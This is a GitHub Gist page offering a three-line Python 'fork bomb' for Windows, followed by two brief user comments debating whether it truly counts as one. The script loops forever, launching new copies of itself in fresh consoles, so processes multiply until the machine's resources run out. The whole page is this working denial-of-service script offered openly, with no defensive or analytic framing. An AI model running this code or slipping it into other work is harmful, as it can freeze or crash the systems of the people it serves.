Created
January 6, 2017 13:16
-
-
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Windows "fork bomb" in Python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess, sys | |
| while True: | |
| subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE) |
this isn't even a proper forkbomb. A forkbomb is inherently recursive. This isn't recursive. Yes, it achieves the same effect, however, it does it slower than if it was legitemately recursive. This just spam opens cmd windows on a loop. 0/10 forkbomb, doesn't even fork
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Actually os.fork() raises an exception if the number of forks is over 10000